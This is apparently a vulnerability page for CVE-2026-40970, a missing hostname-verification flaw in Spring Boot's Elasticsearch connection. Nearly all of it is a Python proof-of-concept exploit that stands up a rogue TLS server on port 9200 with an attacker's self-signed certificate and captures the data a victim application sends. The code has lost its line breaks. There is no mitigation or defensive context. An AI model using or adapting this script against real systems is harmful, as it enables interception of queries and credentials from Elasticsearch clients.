CVE-2026-40970 Spring Boot Elasticsearch主机名验证缺失漏洞

# PoC: Simulate a Man-in-the-Middle attack exploiting missing hostname verification import socket import ssl # Setup a malicious server acting as Elasticsearch def malicious_es_server(): context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) # Load a self-signed certificate (attacker controlled) context.load_cert_chain('fake_server.crt', 'fake_server.key') with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock: sock.bind(('0.0.0.0', 9200)) sock.listen(5) print("[+] Malicious server listening on port 9200...") # Wait for Spring Boot victim connection conn, addr = sock.accept() print(f"[+] Connection intercepted from: {addr}") try: # Wrap socket with SSL (Victim Spring Boot app accepts this due to CVE) with context.wrap_socket(conn, server_side=True) as ssock: print("[+] SSL Handshake successful (Hostname verification bypassed!)") # Capture data sent by the victim data = ssock.recv(4096) print(f"[+] Captured Data:\n{data.decode('utf-8')}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": malicious_es_server()